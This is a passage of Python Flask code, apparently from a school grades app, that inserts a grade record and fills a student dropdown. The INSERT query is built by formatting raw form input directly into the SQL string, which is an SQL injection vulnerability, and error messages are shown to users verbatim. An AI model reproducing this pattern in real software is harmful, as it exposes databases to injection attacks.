INTO grades(course_name, grade, student_id) VALUES ('{}', '{}', '{}');\".format(\n newGrade['course_name'].data,\n newGrade['grade'].data,\n newGrade['student_id'].data\n )\n\n try:\n cur = db.connection.cursor()\n cur.execute(query)\n db.connection.commit()\n cur.close()\n flash(\"Grade inserted successfully\", \"success\")\n return redirect(url_for(\"index\"))\n except Exception as e: ## OperationalError\n flash(str(e), \"danger\")\n print(str(e))\n ## else, response for GET request\n else:\n try:\n cur = db.connection.cursor()\n cur.execute('SELECT id, CONCAT(last_name, \", \", first_name) FROM students;')\n form.student_id.choices = list(cur.fetchall())\n ## each tuple in the above list is in the format (id, full name),\n ## and will be rendered in html as an